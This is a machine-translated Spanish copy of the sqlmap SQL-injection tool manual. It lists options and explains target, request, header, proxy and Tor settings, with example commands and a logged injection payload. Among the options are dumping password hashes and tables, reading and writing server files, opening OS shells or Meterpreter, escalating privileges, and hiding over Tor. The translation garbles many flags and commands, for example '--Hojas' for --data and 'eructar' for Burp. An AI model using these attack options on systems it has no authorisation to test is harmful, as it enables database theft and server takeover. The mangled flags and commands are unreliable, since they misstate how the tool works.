Vous êtes sur la page 1sur 73

opciones:

-h, --help Muestra el mensaje de ayuda bsica y de salida


hh Mostrar avanzadas mensaje de ayuda y termina
--version Muestra el nmero de versin del programa y salir
-v nivel detallado de verbosidad: 0-6 (por defecto 1)

Objetivo:
Al menos una de estas opciones tiene que ser proporcionado para definir la
objetivo (s)

Cadena de conexin DIRECTO -d para la conexin de base de datos directa


URL -u, --url URL = URL de destino (por ejemplo,
"http://www.site.com/vuln.php?id=1")
objetivo (s) -l LOGFILE Parse de eructar o archivo de registro de proxy
Webscarab
-x objetivo SITEMAPURL Parse (s) de archivo de mapa del sitio remoto (.xml)
-m BULKFILE Escanear varios objetivos que figuran en un archivo de texto
solicitud HTTP REQUESTFILE carga -r desde un archivo
-g Proceso GOOGLEDORK los resultados de Google dork como las URL de destino
-c opciones CONFIGFILE de carga de un archivo de configuracin INI

Solicitud:
Estas opciones se pueden utilizar para especificar cmo conectarse a la
direccin URL de destino

--method = Usos del mtodo de la fuerza del mtodo HTTP dada (por ejemplo
PUT)
--Hojas = cadena de datos Los datos que se enva a travs de la POST
--param-del .. = para caracteres utilizado para dividir los valores de
parmetros
--cookie = valor de cookies HTTP cabecera Cookie
--cookie-del .. = COO de caracteres utilizado para dividir los valores de
cookie
--load-cookies = L .. El archivo que contiene las cookies en formato de
Netscape / wget
--drop-Set-Cookie Ignorar cabecera Set-Cookie de la respuesta
--user-agent = valor de encabezado HTTP User-Agent-MAIL
El valor de uso cabecera --random-agente seleccionado al azar HTTP User-
Agent
--host = valor de encabezado de host HTTP HOST
--referer = HTTP_REFERER valor de encabezado Referer
CABECERA -H, --hea .. cabecera adicional (por ejemplo, "X-reenviado-a:
127.0.0.1")
--headers = HEADERS cabeceras adicionales (por ejemplo, "Accept-Language: fr
\ nETag: 123")
De tipo --auth = AUTH .. HTTP tipo de autenticacin (bsica, implcita, NTLM
o PKI)
--auth-cred = AUTH .. HTTP credenciales de autenticacin (nombre:
contrasea)
archivo de clave --auth-file = AUTH .. HTTP PEM autenticacin de certificado
/ privada
--ignore-401 haga caso de error HTTP 401 (no autorizado)
--proxy = PROXY uso de un proxy para conectarse a la direccin URL de
destino
--proxy-CRED PRO = .. credenciales de autenticacin del proxy (nombre:
contrasea)
--proxy-file = PRO .. Cargar lista de proxy de un archivo
--ignore-proxy Ignorar configuracin de proxy por defecto del sistema
red annima Tor --tor Uso
--tor-port = TORPORT Conjunto Tor puerto proxy que no sea por defecto
--tor-type = TORTYPE Conjunto Tor tipo de proxy (HTTP (por defecto), SOCKS4
o SOCKS5)
--check-tor Compruebe si se utiliza adecuadamente Tor
--delay = RETRASO Retraso en segundos entre cada solicitud HTTP
--timeout = segundos tiempo de espera necesario antes de la conexin de
tiempo de espera (por defecto 30)
--retries = reintentos reintentos cuando los tiempos de espera de conexin
(por defecto 3)
--randomize = RPARAM cambiar aleatoriamente el valor de parmetro
determinado (s)
--safe-url = direccin URL SAFEURL visitar con frecuencia durante la prueba
--safe-post = datos seguros .. POST para enviar a una direccin URL segura
--safe-req = MS SEGURO .. Cargar solicitud HTTP a salvo de un archivo
--safe-freq = SAFE peticiones de prueba .. entre dos visitas a una URL
segura dada
--skip-urlencode Skip URL codificacin de los datos de carga til
--csrf-token = RSE .. parmetro se utiliza para mantener anti-CSRF token de
--csrf-url = direccin URL CSRFURL para visitar para extraer anti-CSRF token
de
Fuerza el uso --force-ssl de SSL / HTTPS
mtodo de la contaminacin parmetro --hpp Usar HTTP
--eval = EVALCODE Evaluar cdigo Python proporcionado antes de la solicitud
(por ejemplo,
"Hashlib importacin; ID2 = hashlib.md5 (id) .hexdigest
()")

Mejoramiento:
Estas opciones se pueden usar para optimizar el rendimiento de sqlmap

-O Encienda todos los interruptores de optimizacin


--predict-salida Predecir salida de consultas comunes
--keep-alive Usar HTTP (s) persistente conexiones
--null conexin Recuperar longitud de pgina sin cuerpo de la respuesta HTTP
real
--threads = HILOS: Mximo de HTTP concurrente (s) solicitud (por defecto 1)

Inyeccin:
Estas opciones se pueden utilizar para especificar qu parmetros para
probar,
proporcionar cargas tiles de inyeccin de secuencias de comandos
personalizados y manipulacin opcionales

parmetro comprobable TESTPARAMETER -p (s)


skip = prueba Saltar Saltar para el parmetro determinado (s)
--skip-estticas parmetros de prueba Omitir que no aparecen dinmico
--dbms = Fuerza DBMS DBMS back-end a este valor
--dbms-cred = DBMS .. credenciales de autenticacin DBMS (usuario:
contrasea)
--os = sistema operativo DBMS OS Fuerza a este valor
--invalid-bignum Utilice nmeros grandes para invalidar los valores
Uso --invalid-lgica operaciones lgicas para invalidar los valores
--invalid-cadena utilizan cadenas aleatorias para invalidar los valores
--no-yeso Apague mecanismo de carga til de colada
--no-fuga Apague cadena de mecanismo de escape
prefix = PREFIJO inyeccin cadena de carga til prefijo
--suffix = SUFIJO inyeccin cadena de carga til sufijo
--tamper = antisabotaje Uso escritura (s) dada para la manipulacin de datos
de inyeccin

Deteccin:
Estas opciones se pueden utilizar para personalizar la fase de deteccin

--level = NIVEL Nivel de pruebas para llevar a cabo (1-5, por defecto 1)
--risk = RIESGO El riesgo de pruebas para llevar a cabo (1-3, por defecto 1)
--string = Cadena CADENA para que coincida cuando la consulta se evala como
True
--no-string = NO .. String para que coincida cuando la consulta se evala
como False
--regexp = EXPREG Regexp para que coincida cuando la consulta se evala como
True
--code = cdigo HTTP cdigo para que coincida cuando la consulta se evala
como True
--text de slo Comparar pginas basndose nicamente en el contenido textual
Comparar --titles pginas basado slo en sus ttulos

tcnicas:
Estas opciones se pueden utilizar para modificar las pruebas de inyeccin de
SQL especfica
tcnicas

tcnicas de inyeccin SQL --technique = TECH (por defecto "BEUSTQ")


--time-sec = segundos TIMESEC para retrasar la respuesta de DBMS (por
defecto 5)
--union-cols = UCOLS gama de columnas para la prueba de inyeccin de
consulta SQL UNION
--union-char = UCHAR carcter que se utilizar para la fuerza bruta nmero
de columnas
--union-from = UFROM tabla para utilizar en la inyeccin de una parte de la
consulta SQL UNION
--dns-domain = DNS .. nombre de dominio utilizado para el ataque
exfiltracin DNS
--second-order = S .. Resultando URL de la pgina busc la respuesta de
segundo orden

Huella dactilar:
-f, --fingerprint Realizar una extensa versin de DBMS huella digital

Enumeracin:
Estas opciones se pueden utilizar para enumerar la base de datos back-end
la gestin del sistema de informacin, la estructura y los datos contenidos
en el
mesas. Por otra parte usted puede ejecutar sus propias sentencias SQL

-a, --all Recuperar todo


-b, --banner Recuperar DBMS bandera
--current-user Recuperar DBMS usuario actual
--current-db Recuperar DBMS base de datos actual
--hostname Recuperar nombre del servidor DBMS
--is-dba detectar si el usuario actual DBMS es DBA
--users usuarios Enumerar DBMS
Enumerar --passwords DBMS hashes de contraseas de usuarios
Enumerar --privileges DBMS derechos a los clientes
--roles papeles usuarios Enumerar DBMS
Enumerar --dbs bases de datos DBMS
--tables tablas de la base de Enumerar DBMS
Enumerar --columns DBMS columnas de las tablas de base de datos
Enumerar --schema esquema DBMS
--count Recuperar nmero de entradas para la mesa (s)
--dump Dump DBMS entradas de la tabla de base de datos
--dump-all la descarga todas las bases de datos DBMS entradas mesas
--search columna de bsqueda (s), tabla (s) y / o el nombre de la base de
datos (s)
--comments Recuperar comentarios DBMS
-D base de datos DB DBMS para enumerar
-T tabla de base de TBL DBMS (s) para enumerar
columna de la tabla de base de datos -C COL DBMS (s) para enumerar
columna de la tabla de base de datos -X EXCLUDECOL DBMS (s) para no enumerar
-U USUARIO DBMS usuario para enumerar
--exclude-sysdbs Excluir las bases de datos del sistema DBMS al enumerar las
tablas
--pivot-columna = P .. nombre de la columna pivote
--donde = DUMPWHERE Uso condicin WHERE mientras que el cuadro de dumping
--start = LIMITSTART entrada Primera salida de la consulta para recuperar
--stop = LIMITSTOP entrada de salida de la consulta para recuperar ltima
--first = aPartirDe Primera consulta palabra de salida para recuperar el
carcter
--last = ultimocarac ltima consulta carcter de palabra de salida para
recuperar
--sql-query = instruccin de consulta SQL que se ejecutar
Smbolo del --sql cscara de una concha de SQL interactivo
--sql-file = SQLFile ejecutar sentencias SQL desde un archivo determinado
(s)

Fuerza bruta:
Estas opciones se pueden utilizar para realizar comprobaciones de fuerza
bruta

--common-tables Comprobar la existencia de mesas comunes


--common-columns Comprobar la existencia de columnas comunes

definido por el usuario funcin de inyeccin:


Estas opciones se pueden usar para crear funciones definidas por el usuario
personalizados

--udf-inyectar funciones definidas por el usuario personalizados Inyectar


--shared-lib = shlib Ruta local de la biblioteca compartida

El acceso de archivos del sistema:


Estas opciones se pueden utilizar para acceder a la gestin de base de datos
back-end
sistema de sistema de archivos subyacente

--file-read = FICH_R Leer un archivo del sistema de archivos DBMS


--file-write = WFILE Escribir un archivo local en el sistema de archivos
DBMS
--file-dest = DFILE back-end DBMS ruta absoluta para escribir

Operando de acceso al sistema:


Estas opciones se pueden utilizar para acceder a la gestin de base de datos
back-end
sistema de sistema operativo subyacente

--os-cmd = OSCMD ejecutar un comando del sistema operativo


Smbolo del --os-shell para un shell del sistema operativo interactivo
Smbolo del --os-pwn de una cscara fuera de banda, Meterpreter o VNC
--os-SMBRelay pronta Un clic para una cscara fuera de banda, Meterpreter o
VNC
--os-BOF Procedimiento almacenado explotacin de desbordamiento de bfer
--priv-esc proceso de base de datos de privilegios de usuario escalada
--msf-path = MSFPATH Ruta local donde est instalado Metasploit Framework
--tmp-path = Ruta remota TMPPATH absoluta del directorio de archivos
temporales

Ventanas de acceso al registro:


Estas opciones se pueden utilizar para acceder a la gestin de base de datos
back-end
Registro del sistema de Windows

--reg lectura Leer un valor de clave del registro de Windows


--reg-aadir los datos de Escribe un valor de clave de registro de Windows
--reg-del Eliminar un valor de clave del registro de Windows
--reg-clave = clave de registro de Windows regkey
--reg-valor = valor de la clave del registro de Windows REGVAL
--reg-data = registro de datos de valores clave de Windows Regdata
--reg-type = Registro de Windows RegType tipo de valor clave

General:
Estas opciones se pueden utilizar para establecer algunos parmetros
generales de trabajo

-s sesin de archivo de sesin de carga de un archivo almacenado (.sqlite)


-t TRAFFICFILE Log todo el trfico HTTP en un archivo de texto
--batch Nunca le pida a la entrada del usuario, utilice el comportamiento
predeterminado
--binary-fields = .. campos de Resultados que tienen valores binarios (por
ejemplo, "digerir")
--charset = codificacin de caracteres CHARSET fuerza utilizada para la
recuperacin de datos
--crawl = CRAWLDEPTH del arrastre de la pgina web a partir de la direccin
URL de destino
--crawl-excluye = .. Regexp para excluir pginas de rastreo (por ejemplo,
"cerrar sesin")
--csv-del carcter = CSVDEL Delimitacin utilizado en CSV de salida (por
defecto ",")
--dump-format = DU .. Formato de los datos objeto de dumping (CSV (por
defecto), HTML o SQLITE)
Pantalla --eta para cada salida de la hora estimada de llegada
--flush-sesin Lavar los archivos de sesin para el objetivo actual
--forms analizar y formas de prueba en direccin URL de destino
--fresh-consultas Ignorar resultados de la consulta almacenados en el
archivo de sesin
--hex funcin hexagonal Uso DBMS (s) para la recuperacin de datos
--output-dir = OUT .. encargo ruta del directorio de salida
--parse-errors analizar y mostrar mensajes de error de DBMS de respuestas
--save = saveconfig Guardar las opciones en un archivo de configuracin INI
--scope = ALCANCE Regexp a metas de filtro de registro de proxy
proporcionado
--test-filter = TE .. seleccionar pruebas de cargas y / o ttulos (por
ejemplo FILA)
--test-skip = PRUEBA .. Pasar las pruebas de cargas y / o ttulos (por
ejemplo de referencia)
--update actualizacin sqlmap

Diverso:
Mnemotcnicos -z Utilice mnemotcnicos cortos (por ejemplo, "la gripe, el
palo, prohibicin, tec = UE")
--alert = ALERTA Ejecutar comandos del sistema operativo anfitrin (s)
cuando se encuentra de inyeccin SQL
--answers = RESPUESTAS conjunto de preguntas respuestas (por ejemplo, "dejar
de fumar = N, N = siga")
ni --beep ni Tono en cuestin y / o cuando se encuentra de inyeccin SQL
--cleanup Limpiar el DBMS de sqlmap UDF y tablas especficas
--dependencies Compruebe si faltan (no bsicos) dependencias sqlmap
--disable-colorante salida de la consola Desactivar
--gpage = GooglePage Uso de Google dork resultados de nmero de pgina
especificado
--identify-WAF Haga una prueba a fondo para una proteccin WAF / IPS / IDS
--skip-WAF Omitir deteccin heurstica de la proteccin WAF / IPS / IDS
Imitar --mobile telfono inteligente a travs de encabezado HTTP User-Agent
Trabajo --offline en el modo fuera de lnea (slo utilizar los datos de
sesin)
--page-ranking pgina de visualizacin (PR) para los resultados de Google
dork
--purge-salida Extraccin segura de todo el contenido de un directorio de
salida
Llevar a cabo pruebas exhaustivas --smart slo si heurstica positiva (s)
Smbolo del --sqlmap cscara de una concha sqlmap interactivo
--wizard interfaz de asistente simple para los usuarios principiantes

verbosidad de salida
Opcin: -v
Esta opcin se puede utilizar para ajustar el nivel de verbosidad de los mensajes
de salida.Existen siete niveles de verbosidad. El nivel por defecto es 1 , en el que
se muestran informacin, advertencia de error, los mensajes crticos y los rastreos
de Python (en su caso se producen).

0 : Mostrar solamente las trazas de retorno de Python, errores y mensajes crticos.


1 : Show tambin la informacin y mensajes de advertencia.
2 : Show tambin depurar mensajes.
3 : Show tambin cargas tiles inyectado.
4 : Show tambin las peticiones HTTP.
5 : Show tambin las cabeceras de las respuestas HTTP.
6 : Show tambin contenido de la pgina respuestas HTTP.

Un nivel razonable de nivel de detalle para comprender mejor lo que hace sqlmap
bajo el cap es de nivel 2 , principalmente para la fase de deteccin y las
funcionalidades de adquisicin. Mientras que si quieres ver las cargas tiles de las
herramientas de SQL enva, el nivel 3 es su mejor opcin. Tambin se recomienda
este nivel para ser utilizado cuando se alimenta a los desarrolladores con un
potencial de informe de error, asegrese de que se enva junto con la salida
estndar del archivo de registro de trfico generado con la opcin -t . Con el fin de
depurar an ms las posibles errores o comportamientos inesperados, le
recomendamos que ajuste el nivel de detalle de nivel 4 o superior.

Objetivo
Al menos una de estas opciones ha proporcionado puede fijar el objetivo (s).

Conexin directa a la base de datos


Opcin: -d
Ejecutar sqlmap contra una sola instancia de base de datos. Esta opcin acepta
una cadena de conexin en una de las siguientes formas:

DBMS: // USUARIO: CONTRASEA @ DBMS_IP: DBMS_PORT / DATABASE_NAME (MySQL,


Oracle, Microsoft SQL Server, PostgreSQL, etc.)
DBMS: // DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)

Por ejemplo:
sqlmap.py $ pitn -d "mysql: // Administrador: admin@192.168.21.17: 3306 /
testdb" -f --bann \
er --dbs --users

URL de destino
Opcin: -u o --url
Ejecutar sqlmap contra una sola direccin URL de destino. Esta opcin requiere
una direccin URL de destino en forma siguiente:
http (s): // TargetURL [: puerto] / [...]
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -
\
-Los usuarios

Analizar los objetivos de eructar o registros de


proxy Webscarab
Opcin: -l
En lugar de proporcionar una nica direccin URL de destino, es posible probar e
inyectar en contra de las peticiones HTTP proxy a travs de proxy eructar o proxy
de Webscarab . Esta opcin requiere un argumento que es peticiones HTTP de
proxy del archivo de registro.

Analizar los objetivos del archivo de mapa del sitio


remoto (.xml)
Opcin: -x
Un mapa del sitio es un archivo en el que los administradores de web pueden
enumerar los lugares de la pgina web de su sitio para decirle a los motores de
bsqueda sobre la organizacin del contenido del sitio. Puede proporcionar la
ubicacin de un mapa de sitio para sqlmap utilizando la opcin -x (por ejemplo, -x
http://www.target.com/sitemap.xml ) por lo que podra encontrar las direcciones
URL de destino utilizables para fines de exploracin.

Escanear mltiples objetivos alistados en un


archivo de texto dado
Opcin: -m
lista de direcciones URL de destino alistados en un archivo dado mayor
proporcionando, sqlmap explorar cada uno de los uno por uno.

el contenido de ejemplo de un archivo de mayor proporcionado como argumento


para esta opcin:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

solicitud de carga HTTP desde un archivo


Opcin: -r
Una de las posibilidades es de sqlmap carga de peticin HTTP prima a partir de un
archivo de texto. De esa manera se puede omitir el uso de un nmero de otras
opciones (por ejemplo, instalacin de cookies, Publicado datos, etc.).

el contenido de ejemplo de un archivo de solicitud HTTP proporcionada como


argumento para esta opcin:
POSTAL /vuln.php HTTP / 1.1
Anfitrin: www.target.com
User-Agent: Mozilla / 4.0

id = 1
Tenga en cuenta que si la solicitud es a travs de HTTPS, puede utilizar esto en
conjunto con el interruptor --force-SSL para forzar la conexin SSL a 443 /
tcp. Como alternativa, puede anexar: 443 hasta el final del anfitrin valor de
encabezado.

Resultados proceso de Google dork como


direcciones de destino
Opcin: -g
Tambin es posible poner a prueba e inyectar en GET parmetros basados en los
resultados de su idiota Google.
Esta opcin hace que sqlmap negociar con el motor de bsqueda de su cookie de
sesin para poder llevar a cabo una bsqueda, a continuacin, sqlmap recuperar
Google primeros 100 resultados de la expresin idiota Google con GET parmetros
que le pregunta si desea probar e inyectar en cada posible URL afectada .
Por ejemplo:
$ Python sqlmap.py -g "inurl: \". Php? Id = 1 \ ""

opciones de carga de un archivo de configuracin


INI
Opcin: -c
Es posible pasar opciones de usuario desde un archivo INI de configuracin, un
ejemplo essqlmap.conf .
Tenga en cuenta que si usted proporciona otras opciones de lnea de comandos,
los que son evaluados cuando se ejecuta sqlmap y sobrescribir los previstos en el
archivo de configuracin.

Solicitud
Estas opciones se pueden utilizar para especificar cmo conectarse a la direccin
URL de destino.
mtodo HTTP
Opcin: --method
sqlmap detecta automticamente el mtodo HTTP adecuado para ser utilizado en
las peticiones HTTP. Sin embargo, en algunos casos, se requiere para forzar el
uso de mtodo HTTP especfica (por ejemplo PUT ) que no se utiliza por el
automatismo. Esto es posible con el uso de esta opcin (por ejemplo --method =
PUT ).

datos HTTP
Opcin: --Hojas
Por defecto, el mtodo HTTP utilizado para realizar peticiones HTTP es GET , pero
se puede cambiar de forma implcita a PUBLIQUE proporcionando los datos a ser
enviados en los POST desolicitudes. Tales datos, siendo estos parmetros, se
prueban para la inyeccin de SQL, as como las previstas GET parmetros.
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php" --Hojas = "id = 1" f --
banne \
r --dbs --users

carcter divisin parmetro


Opcin: --param-del
Hay casos en los parmetros por defecto delimitador (por ejemplo, y en los datos
POST y GET) debe ser sobrescrito por sqlmap para poder procesar
adecuadamente dividida y cada parmetro por separado.
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php" --Hojas = "query =
foobar; id = \
1 "--param-del ="; "f --banner --dbs --users
HTTP Cookies cabecera
Las opciones y los interruptores: --cookie , --cookie-del , --load-cookies y --drop-
Set-Cookie
Estas opciones y modificadores se pueden utilizar en dos situaciones:

La aplicacin web requiere autenticacin basndose en los cookies y usted tiene


este tipo de datos.
Desea detectar y explotar de inyeccin SQL en dichos valores de cabecera.

De cualquier razn te lleva a necesita enviar las galletas con las peticiones
sqlmap, los pasos a seguir son los siguientes:

Accede a la aplicacin con su navegador favorito.


Obtener la cookie HTTP de preferencias de tu navegador o desde la pantalla de
proxy HTTP y copiar al portapapeles.
Vuelve a tu shell y ejecutar sqlmap pegando el portapapeles como valor de la
opcin --cookie .

Tenga en cuenta que los HTTP galleta de valores de cabecera suelen estar
separados por una; carcter, no por una y . sqlmap puede reconocer stos como
conjuntos separados deparmetro = valor demasiado, as como GET y POST de
parmetros. En caso de que el carcter de separacin es distinto ; se puede
especificar utilizando la opcin --cookie-del .
Si en cualquier momento durante la comunicacin, la aplicacin web responde
con Set-Cookiecabeceras, sqlmap utilizar automticamente su valor en todas las
peticiones HTTP adicionales como la galleta de cabecera. sqlmap tambin
probar automticamente estos valores para la inyeccin de SQL. Esto puede
evitarse proporcionando el interruptor --drop-Set-Cookie - sqlmap ignorar
cualquier procedente Set-Cookie cabecera.
A la inversa, si usted proporciona un HTTP Cookies encabezado con opcin --
cookie y la URL de destino enva un HTTP Set-Cookie cabecera en cualquier
momento, sqlmap le preguntar qu conjunto de cookies para utilizar para las
siguientes solicitudes HTTP.
Tambin hay una opcin -cookies --load que se pueden utilizar para proporcionar
un archivo especial que contiene Netscape / wget formato cookies.
Tenga en cuenta que tambin el HTTP Cookies cabecera se comprueba frente a la
inyeccin de SQL si el --level se establece en 2 o superior. Lea a continuacin
para ms detalles.
HTTP User-Agent cabecera
Opcin y el interruptor: --user-agente y --random-agente
Por defecto sqlmap realiza peticiones HTTP con el siguiente User-Agent valor de
encabezado:
sqlmap / 1.0-dev-xxxxxxx (http://sqlmap.org)
Sin embargo, es posible que fingir con la opcin --user-agente , proporcionando a
medida User-Agent como argumento de la opcin.
Adems, al proporcionar el interruptor --random-agente , sqlmap seleccionar al
azar a un agente de usuario de la ./txt/user-agents.txt archivo de texto y utilizarlo
para todas las peticiones HTTP dentro de la sesin.
Algunos sitios realizan una comprobacin del lado del servidor de HTTP User-
Agent valor de encabezado y no logran la respuesta HTTP vlida si un agente de
usuario no se proporciona, no se espera que su valor o en una lista negra por un
firewall de aplicaciones web o sistema de prevencin de intrusiones similares. En
este caso sqlmap le mostrar un mensaje de la siguiente manera:
[Hh: mm: 20] [ERROR] la URL de destino responde con un cdigo de estado HTTP
desconocido, trate de
forzar la cabecera HTTP User-Agent con la opcin --user-agente o --random-agente
Tenga en cuenta que tambin el HTTP User-Agent cabecera se prueba contra la
inyeccin de SQL si el --level se establece en 3 o superior. Lea a continuacin
para ms detalles.
HTTP Host cabecera
Opcin: --host
Puede configurar manualmente HTTP Host valor de encabezado. Por defecto
HTTP Hostcabecera se analiza desde una direccin URL de destino previsto.
Tenga en cuenta que tambin el HTTP Host cabecera se comprueba frente a la
inyeccin de SQL si el --level se establece en 5 . Lea a continuacin para ms
detalles.
HTTP Referer cabecera
Opcin: --referer
Es posible falsificar el HTTP Referer valor de encabezado. Por
defecto no HTTP Referercabecera se enva en las solicitudes HTTP si no se
establece de manera explcita.
Tenga en cuenta que tambin el HTTP Referer cabecera se comprueba frente a la
inyeccin de SQL si el --level se establece en 3 o superior. Lea a continuacin
para ms detalles.

cabeceras extra de HTTP


Opcin: --headers
Es posible proporcionar cabeceras HTTP adicionales estableciendo la opcin --
headers . Cada cabecera debe estar separado por un salto de lnea y es mucho
ms fcil para proporcionarles a partir del archivo INI de configuracin. Puede
echar un vistazo a la muestra sqlmap.conf archivo para tal caso.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"IGN, la gripe, el palo, tec = E" --headers = "Anfitrin: www.target.com \
Nuser-agent: Firefox 1.0" -v 5
[...]
[Xx: xx: 44] [TRFICO OUT] peticin HTTP [# 5]:
GET /sqlmap/mysql/get_int.php? Id = 1% 20y% 20% 28SELECT% 209351% 20FROM%
28SELECT% 20C \
ONTAJE% 28% 2A% 29% 2CCONCAT% 280x3a6161733a% 2C% 28SELECT% 20% 28CASE%
20Cuando% 20% 285 473% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 3D%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 205 473% 29% 20 Entonces% 201%
20ELSE% 200% 20END% 29% 29% 2C \
0x3a6c666d3a% 2CFLOOR% 28RAND% 280% 29% 29% 2A2% 29x% 20FROM%
20INFORMATION_SCHEMA.CHARA \
CTER_SETS% 20GROUP% 20BY% 20x% 29a%
29 HTTP / 1.1
Anfitrin: www.target.com
Accept-Encoding: gzip, desinfle
Accept: text / html, application / xhtml + xml, application / xml; q = 0,9, * /
*; q = 0,8
User-agent: Firefox 1.0
Conexin: cerrar
[...]

autenticacin de protocolo HTTP


Opciones: de tipo --auth y --auth-CRED
Estas opciones se pueden utilizar para especificar los implementos HTTP del
servidor web autenticacin del protocolo de back-end y las credenciales vlidas
para ser utilizados para llevar a cabo todas las peticiones HTTP a la aplicacin de
destino.

Los tres mecanismos de autenticacin del protocolo HTTP soportados son:

BASIC
Digerir
NTLM

Mientras que la sintaxis de las credenciales 'es nombre de usuario: contrasea .


Ejemplo de sintaxis vlida:
$ Python sqlmap.py -u "http:? //192.168.136.131/sqlmap/mysql/basic/get_int.php
ID \
= 1 "de tipo bsico --auth --auth-CRED" testuser: testpass "

protocolo HTTP de autenticacin de clave privada


Opcin: --auth-archivo
Esta opcin se debe utilizar en los casos en que el servidor web requiere
certificado de cliente adecuado y una clave privada para la autenticacin. Valor
proporcionado debe ser un formato PEM key_file que contiene su certificado y
una clave privada.

No haga caso de error HTTP 401 (no autorizado)


Cambiar --ignore-401
En caso de que desee probar el sitio que de vez en cuando devuelve el error
HTTP 401 (no autorizado), mientras que desea ignorar y continuar las pruebas sin
proporcionar las credenciales adecuadas, puede utilizar el interruptor --ignore-401

HTTP (S) de proxy


Opciones y conmutador: --proxy , --proxy-CRED , --proxy-archivo y --ignore-proxy
Es posible proporcionar una direccin de proxy HTTP (S) para pasar por el HTTP
(S) solicita a la direccin URL de destino con la opcin --proxy . La sintaxis de
HTTP (S) Valor proxy es http: // url: puerto .
Si el HTTP (S) proxy requiere autenticacin, puede proporcionar las credenciales
en el formato denombre de usuario: contrasea a la opcin --proxy-CRED .
En caso de que desee utilizar la lista de proxy (desechables), saltando a la
siguiente proxy en cualquier signo de un problema de conexin (por ejemplo, el
bloqueo de la direccin IP invasivo), opcin --proxy-archivo puede ser utilizado por
proporcionar el nombre de archivo de un archivo que contiene lista mayor parte de
los proxies.
Cambiar --ignore-proxy se debe utilizar cuando se quiere ejecutar sqlmap contra
una pieza de destino de una red de rea local haciendo caso omiso de la
configuracin del servidor proxy de todo el sistema conjunto de HTTP (S).

red annima Tor


Interruptores y opciones: --tor , --tor puertos , de tipo --tor y --check-tor
Si, por cualquier razn, es necesario permanecer en el anonimato, en lugar de
pasar por un servidor proxy HTTP nico predefinido (S), se puede configurar
un cliente Tor , junto con Privoxy(o similar) en su mquina como se explica en las
guas de instalacin de Tor . A continuacin, puede utilizar un interruptor --tor y
sqlmap intentar configurar automticamente los ajustes de conexin de proxy
Tor.
En caso de que desee establecer manualmente el tipo y el puerto de los usados
proxy de Tor, puede hacerlo con opciones de tipo --tor y --tor-puerto (por
ejemplo, de tipo --tor = SOCKS5 --tor-puerto 9050 ) .
Se recomienda encarecidamente utilizar --check-tor de vez en cuando para
asegurarse de que todo se ha configurado correctamente. Hay casos en los
paquetes de Tor Vidalia (por ejemplo) vienen mal configurado (o restablecimiento
de la configuracin establecida previamente) que le da una falsa sensacin de
anonimato. El uso de este interruptor se sqlmap comprobar que todo funciona
como se esperaba mediante el envo de una nica solicitud a un funcionario Est
utilizando Tor? Pgina antes de cualquier solicitud de destino. En caso de que el
registro falla, sqlmap le advertir y salir de forma abrupta.

Retardo entre cada peticin HTTP


Opcin: --delay
Es posible especificar un nmero de segundos que se mantenga entre cada
peticin HTTP (S). El valor vlido es un flotador, por ejemplo 0.5 significa la mitad
de un segundo. De manera predeterminada, no se establece ningn retardo.

